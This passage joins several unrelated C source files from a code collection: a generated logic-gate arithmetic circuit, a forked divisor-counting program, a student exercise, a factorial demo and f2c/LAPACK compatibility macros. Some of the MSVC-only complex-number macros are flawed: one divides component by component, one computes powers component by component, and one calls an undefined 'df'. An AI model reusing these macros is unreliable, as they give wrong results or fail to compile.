n1614; uint8_t n1632; uint8_t n1633; uint8_t n1648; uint8_t n1649; uint8_t n1664; uint8_t n1665; uint8_t n1682; uint8_t n1683; uint8_t n1698; uint8_t n1699; uint8_t n1714; uint8_t n1715; uint8_t n1732; uint8_t n1733; uint8_t n1748; uint8_t n1749; uint8_t n1764; uint8_t n1782; uint8_t n1798; uint8_t n1814; uint8_t n1832; uint8_t n1848; uint8_t n1849; uint8_t n1864; uint8_t n1882; uint8_t n1898; uint8_t n1899; uint8_t n1914; uint8_t n1915; uint8_t n1932; uint8_t n1933; uint8_t n1948; uint8_t n1949; uint8_t n1964; uint8_t n1965; uint8_t n1982; uint8_t n1983; uint8_t n1998; uint8_t n1999; uint8_t n2014; uint8_t n2015; n32 = ~(n28 | n14); n33 = ~(n28 | n14); n34 = ~((n33 | n32) & n14); n35 = ~((n33 | n32) & n14); n38 = ~(n26 | n34 | n26); n39 = ~(n26 | n34 | n26); n41 = n12 & n38; n46 = ~((n22 | n16) & n41); n47 = ~((n22 | n16) & n41); n49 = ~n46; n50 = ~((n39 & n16) | n39); n55 = ~((n30 | n16) & n34); n65 = n41 | n12; n67 = n47 | n12; n68 = ~n41; n69 = ~n41; n77 = ~(n10 & n50); n82 = n6 & n20; n86 = ~((n6 | n68) & n55); n94 = ~((n77 & n67) | n65); n102 = ~((n26 | n50) & n35); n103 = ~((n26 | n50) & n35); n114 = n103 & n16; n115 = n103 & n16; n132 = n94 & n86; n148 = n14 & n16; n161 = n41 & n38; n221 = (n14 & n82) | (~n14 & n49); n232 = n8 & n18; n264 = n12 & n18; n282 = n14 & n18; n364 = n114 ^ n232; n382 = n132; n398 = n148 ^ n264; n399 = n148 & n264; n414 = n399 ^ n282; n415 = n399 & n282; n514 = n10 & n20; n532 = n12 & n20; n548 = n14 & n20; n614 = n364 | n82; n632 = n382 | n102; n648 = n398 | n514; n664 = n414 ^ n532; n682 = (n415 ^ n548) ^ n161; n683 = (n415 & n548) | (n548 & n161) | (n415 & n161); n732 = n4 & n22; n748 = n6 & n22; n764 = n8 & n22; n782 = n10 & n22; n798 = n12 & n22; n814 = n14 & n22; n832 = n41; n845 = ~n69; n864 = n614 | n732; n865 = n614 | n732; n882 = (n632 ^ n748) ^ n865; n883 = (n632 & n748) | (n748 & n865) | (n632 & n865); n898 = (n648 ^ n764) ^ n883; n899 = (n648 & n764) | (n764 & n883) | (n648 & n883); n914 = (n664 ^ n782) ^ n899; n915 = (n664 & n782) | (n782 & n899) | (n664 & n899); n932 = (n682 ^ n798) ^ n915; n933 = (n682 & n798) | (n798 & n915) | (n682 & n915); n948 = (n683 ^ n814) ^ n933; n949 = (n683 & n814) | (n814 & n933) | (n683 & n933); n982 = n845 & n24; n998 = n4 & n24; n1014 = n6 & n24; n1032 = n8 & n24; n1048 = n10 & n24; n1064 = n12 & n24; n1082 = n14 & n24; n1114 = n864; n1132 = n882 | n998; n1148 = n898 ^ n1014; n1149 = n898 & n1014; n1164 = (n914 ^ n1032) ^ n1149; n1165 = (n914 & n1032) | (n1032 & n1149) | (n914 & n1149); n1182 = (n932 ^ n1048) ^ n1165; n1183 = (n932 & n1048) | (n1048 & n1165) | (n932 & n1165); n1198 = (n948 ^ n1064) ^ n1183; n1199 = (n948 & n1064) | (n1064 & n1183) | (n948 & n1183); n1214 = (n949 ^ n1082) ^ n1199; n1215 = (n949 & n1082) | (n1082 & n1199) | (n949 & n1199); n1232 = n0 & n26; n1248 = n2 & n26; n1264 = n4 & n26; n1282 = n6 & n26; n1298 = n8 & n26; n1314 = n10 & n26; n1332 = n12 & n26; n1348 = n14 & n26; n1364 = n1114 | n1232; n1382 = n1132 ^ n1248; n1383 = n1132 & n1248; n1398 = (n1148 ^ n1264) ^ n1383; n1399 = (n1148 & n1264) | (n1264 & n1383) | (n1148 & n1383); n1414 = (n1164 ^ n1282) ^ n1399; n1415 = (n1164 & n1282) | (n1282 & n1399) | (n1164 & n1399); n1432 = (n1182 ^ n1298) ^ n1415; n1433 = (n1182 & n1298) | (n1298 & n1415) | (n1182 & n1415); n1448 = (n1198 ^ n1314) ^ n1433; n1449 = (n1198 & n1314) | (n1314 & n1433) | (n1198 & n1433); n1464 = (n1214 ^ n1332) ^ n1449; n1465 = (n1214 & n1332) | (n1332 & n1449) | (n1214 & n1449); n1482 = (n1215 ^ n1348) ^ n1465; n1483 = (n1215 & n1348) | (n1348 & n1465) | (n1215 & n1465); n1498 = n0 & n28; n1514 = n2 & n28; n1532 = n4 & n28; n1548 = n6 & n28; n1564 = n8 & n28; n1582 = n10 & n28; n1598 = n12 & n28; n1614 = n14 & n28; n1632 = n1382 ^ n1498; n1633 = n1382 & n1498; n1648 = (n1398 ^ n1514) ^ n1633; n1649 = (n1398 & n1514) | (n1514 & n1633) | (n1398 & n1633); n1664 = (n1414 ^ n1532) ^ n1649; n1665 = (n1414 & n1532) | (n1532 & n1649) | (n1414 & n1649); n1682 = (n1432 ^ n1548) ^ n1665; n1683 = (n1432 & n1548) | (n1548 & n1665) | (n1432 & n1665); n1698 = (n1448 ^ n1564) ^ n1683; n1699 = (n1448 & n1564) | (n1564 & n1683) | (n1448 & n1683); n1714 = (n1464 ^ n1582) ^ n1699; n1715 = (n1464 & n1582) | (n1582 & n1699) | (n1464 & n1699); n1732 = (n1482 ^ n1598) ^ n1715; n1733 = (n1482 & n1598) | (n1598 & n1715) | (n1482 & n1715); n1748 = (n1483 ^ n1614) ^ n1733; n1749 = (n1483 & n1614) | (n1614 & n1733) | (n1483 & n1733); n1764 = n0 & n30; n1782 = n2 & n30; n1798 = n4 & n30; n1814 = n6 & n30; n1832 = n8 & n30; n1848 = n10 & n30; n1849 = n10 & n30; n1864 = n12 & n30; n1882 = n14 & n30; n1898 = n1648 ^ n1764; n1899 = n1648 & n1764; n1914 = (n1664 ^ n1782) ^ n1899; n1915 = (n1664 & n1782) | (n1782 & n1899) | (n1664 & n1899); n1932 = (n1682 ^ n1798) ^ n1915; n1933 = (n1682 & n1798) | (n1798 & n1915) | (n1682 & n1915); n1948 = (n1698 ^ n1814) ^ n1933; n1949 = (n1698 & n1814) | (n1814 & n1933) | (n1698 & n1933); n1964 = (n1714 ^ n1832) ^ n1949; n1965 = (n1714 & n1832) | (n1832 & n1949) | (n1714 & n1949); n1982 = (n1732 ^ n1848) ^ n1965; n1983 = (n1732 & n1848) | (n1848 & n1965) | (n1732 & n1965); n1998 = (n1748 ^ n1864) ^ n1983; n1999 = (n1748 & n1864) | (n1864 & n1983) | (n1748 & n1983); n2014 = (n1749 ^ n1882) ^ n1999; n2015 = (n1749 & n1882) | (n1882 & n1999) | (n1749 & n1999); c |= (n1849 & 0x1) << 0; c |= (n982 & 0x1) << 1; c |= (n115 & 0x1) << 2; c |= (n832 & 0x1) << 3; c |= (n221 & 0x1) << 4; c |= (n1364 & 0x1) << 5; c |= (n1632 & 0x1) << 6; c |= (n1898 & 0x1) << 7; c |= (n1914 & 0x1) << 8; c |= (n1932 & 0x1) << 9; c |= (n1948 & 0x1) << 10; c |= (n1964 & 0x1) << 11; c |= (n1982 & 0x1) << 12; c |= (n1998 & 0x1) << 13; c |= (n2014 & 0x1) << 14; c |= (n2015 & 0x1) << 15; return c; }
the_stack_data/187642808.c
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/wait.h> #include <fcntl.h> int divisors(const int n); void gen_divisors(int* result, const int start, const int end); // 5 children: 27s // 10 children: 23s // 100 children: 21s int main(int argc, char** argv) { const int limit = 10000000; const int children = 100; const int fd = open("/dev/zero", O_RDWR); int* result = (int*) mmap(0, limit * sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); close(fd); for (int i = 0; i < children; ++i) { const pid_t pid = fork(); if (pid < 0) { perror("fork"); } else if (pid == 0) { gen_divisors(result, i * limit / children, (i + 1) * limit / children); } } for (int i = 0; i < children; ++i) { int status; wait(&status); } int count = 0; for (int i = 2; i < limit; ++i) { if (result[i - 1] == result[i]) { ++ count; } } printf("%d\n", count); } int divisors(const int n) { int count = 2; int d = 2; for (; d * d <= n; ++d) { if (n % d == 0) { count += 2; } } --d; if (d * d == n) { --count; } return count; } void gen_divisors(int* result, const int start, const int end) { for (int i = start; i < end; i++) { result[i] = divisors(i); } exit(EXIT_SUCCESS); }
the_stack_data/953837.c
/*Exercise 4 - Functions Implement the three functions minimum(), maximum() and multiply() below the main() function. Do not change the code given in the main() function when you are implementing your solution.*/ #include <stdio.h> int minimum ( int a , int b ); int maximum ( int a , int b ); int multiply ( int a , int b ); int main() { int no1, no2; printf("Enter a value for no 1 : "); scanf("%d", &no1); printf("Enter a value for no 2 : "); scanf("%d", &no2); printf("%d ", minimum(no1, no2)); printf("%d ", maximum(no1, no2)); printf("%d ", multiply(no1, no2)); return 0; } int minimum ( int a , int b )//function 1 { if( a < b ) { return a ; } else { return b ; } } int maximum ( int a , int b )//function 2 { if( a > b ) { return a ; } else { return b ; } } int multiply ( int a , int b )//function 3 { return a * b ; }
the_stack_data/366306.c
//.......:..:...:..:.....::.:..::.:.:....:..:....:..::..,........:..:...........`...`..:..:..:.::.:.......:.:...:.......:.......`..:....:..........:.................:....... //:...:,...:...:.`..........`.......:..::.`.....`..:.....::...::..`.....`..:.....:...:.:...`..`.....:.:``..:..`:....::......`.:.:..:...:.................:.........`:........ //.....:.....`:`.:::``..:.....``.:,..:...`.:.:.:`..:.`.:.........:....,:.:....::.:..,:.`.`..`::.:.:::.....:.:...,........:,....:..................:...::::.........:..:..`... //.:..`:..:.....:.:.....:.:...`:.:.:...::..:..;R.`......,::....:...X}....:..:..`...`..:'F~:,..:.:....:.:....~R!`...:..::.....,,Yi.:.:.:............:,.............:.......... //.+1}1+}11}]1]111!..:..:.>F$KFK#E&1.:`:...:`.FKKKKE&K#~....:..:.:/#~.:~&+:..:.....,`;,~W"`,`::F+:.`..,IK&&&&K&&#FEY!....:`!...XF:..:.1':.........:iI":.::..........`:./Y"... //;XKK&FK&&EXX##F$i,.::...Rl!!"';'*F~:..:..:.IK"i>"!i&R,::..:.`~!"Kl/i+lF#*".:..::.I#KERF&EFF.Y&~:.`:.`"i"+i"+i}*/>~:..:..lF...~R].:.'R>...........1K>............:.:../K>... //.::.``.:Rl,.....:.....::&RFYY&KI#R:.::...`F#&/.::`1&1`..`..`1K#KKEF&*i/;KY`:::...`,!,>E1;';FX":........:K1`.:I&.:.::..:.i&':`.}K;..}K'.........../R>`.:.........:..:./#1... //`.:....IK;....,..::.....#]"+i!ii}K':...:+&F;1R*,,lK}.:.:..`.:;,`..KF:...:1.....:..:.:!R':'&X':..:.:;ii+>YRi/"KX>+i>~:...,R]..`,K1.`R].`........../R>:............::../K>... //.....`>K&+::..`....:..`.R+.:..::iE;.:..`F}`.`!&&&K"..`.....,}>/ii]#l>1i+/i1:`..+F#FK#RFKKK&K&R&1.:./&RF&FKKFRX&K&&&X.:..:l&::.:;`.}K;............+R>.................iR>... //..`..`K&K}:X/..::......:KR&RFK&FKK;`..:.:,.."*FRXE*+'..:.,:~KRYKRK&FKKFRXE&".:.`+>i!~>/KF1i"""i,:.`:.`.`!;',~~'::....`.`:'E+.`..`.F*,..:.........iK".................iR"... //:...;R&,#}.l&X;..:.....:&I~!'"!"1R::.::.!1I&R&>`."]#$X*>,.`..:`~Fl:::iW+`..::..,:..;,1#*'.:`!`....:...]EF&RF&&&EY;..`.....1W`.:`.1E!.............>K!.................>K!... //..:'KF~'&1:`1EY"..:....:R*`:.`..*K;....KR&KXi'~'!!~"+l&KK..:.:]Kl.,F}.~#F+,:.:....;}&RIi+lK##".::....:#/,.,``,:!R,.:..`.:.`FX...'R]..:..........."K!................."K~... //`."R&'`.R]:.."#K>..:....1KRRY&KE&*.`:.::,;F&RRR#FRRKRR'....'lR&":"KX!,..*KRX.:.!/KKF]K$FF*+~;..`....;:RKRYKKXK&RK"`...:....'EI.`&&`.::.:........."R~.................!K~... //.l&&~:.'#l...:>KF`.:.:::,';~"i!;;::..,`.."$!```YY':`'R1.`:`R#>.;}K*,.*E`.,1]..!##1'.}#:`:.:,..,..::..:R/.,:..`:"#'.:..:...:`!K}YK!::............:!R'...:............:!R'... //KFX'.:.:&]:.:`./*`..,i+ii>+11>/1++i11,...i&,:`,*l.``:Yl..``,.;FRX".!RR'.~:.:`.::..``I#FKKKR&>.,:.`..:.Y&KKYFRRX#Y:.`..:.`.`../K#1.::..`.........:'&;................:'K,... //>+:..::,#}.:..:.:.:."&#&KKR&&F#&KKR&&".:./&KR&KKR&#&K#1.`.`.`.1,:!*K*;`/K].:.......'K}!!~~!YK`..:.`....,1'}#i,'`.:`.:....:..+KFKI!...............;X`.................;F:... //...:...`K].:..:......:...`"`.:,".`.:.::..i#;;''YI~'';X}....:::1}&RX".'lK};.:....`..;+.:....YY......:.}];R"`IK~.`1R!..:.:.:,Y#I,,XK/`..`.........:.:..`............:..:..... //.......`R].:...:.....`.:!YK~..>#&>.:,..:./&::..lI..,.X*.::::."*X+,.~lRF+`..::........::...>K!.,...`.i$i~R"`.Y;]&~KX+....!YR&>`.:.1FK}:...........,>,...:........:..:.`"`... //.......`&/.:......::.!}&RYi.``.,Y&E*/::.:>K/"i>FF!>">&+:.:...//+lXKKYi:.......:.::``~X*1}I&I`......]#l.;RXi!>}FF.!KF.:>YRF>....:..;]RRl,.........lE1.............:.::/$}... //.......:K1.......`..'RK]'......`.`]&X:.:.;XK&#&KKRR&#K,....:;F&&Y/>!..:.::....:.....`*YKFXi..`.:.,.]}..:>YKEFKl;`.>K:.FYi:::..`.``..']Fl........./Xi.............`...i&>... //.......:...:.......`......:...:.::..:.:......:.`.:...:.:.:`:.,..:`..::......::..:.:`.....`,........`..:..:..:..:....::.`....:........:`...........:....:...........:..`.... //.........::..........:.:::..`.......:.:.:..:::.....:..:........:...:..`.....:..::.....`.:..:..`.....::....:;`:..:....::...,`..`.`..:............:.......................... //.............:..:..:.:......`..::.......:..:..`.:`.....:.:.:`:...`:....:.:.....:.:`......:.::....;......:.`...;.`.,:.:.``...::...................:`..::...........:..`::... //...............:...:.:.:..`...,.....:.:..:..`............:.....::........:..::......:.....:.:.:...........:..:.....:..`...::.....:..::..........:......:...........:....... //........................................................................................................................................................................... // #include "stdio.h" long int factorial(int num){ if (num > 1){ return num * factorial(num - 1); } else{ return 1; } } int main(){ int nums[] = {1,2,3,4}; int i; long int result = 0; for (i = 0; i < 4; ++i) { result += factorial(nums[i]); } printf("sum of factorial is %ld", result); }
the_stack_data/148578583.c
#include <stdio.h> // function that prints matrix void printmat(double* array, int lx, int ly) { int i; int j; printf(" printing from C (matrix form): \n"); for (i=0;i<lx;i++){ for (j=0;j<ly;j++){ printf("%5.2f ",*(array+i*ly+j)); } printf("\n"); } } // function that prints as a linear array (vector) void printvec(double* array, int lx) { int i; int j; printf(" printed from C (vector form): \n"); for (i=0;i<lx;i++){ printf("%5.2f ",array[i]); } printf("\n"); }
the_stack_data/101612.c
#include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; #ifdef _MSC_VER static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;} static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;} static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;} static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;} #else static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #endif #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #ifdef _MSC_VER #define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);} #define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);} #else #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #endif #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimagf(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #ifdef _MSC_VER static _Fcomplex cpow_ui(complex x, integer n) { complex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i; for(u = n; ; ) { if(u & 01) pow.r *= x.r, pow.i *= x.i; if(u >>= 1) x.r *= x.r, x.i *= x.i; else break; } } _Fcomplex p={pow.r, pow.i}; return p; } #else static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif #ifdef _MSC_VER static _Dcomplex zpow_ui(_Dcomplex x, integer n) { _Dcomplex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1]; for(u = n; ; ) { if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1]; if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1]; else break; } } _Dcomplex p = {pow._Val[0], pow._Val[1]}; return p; } #else static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + 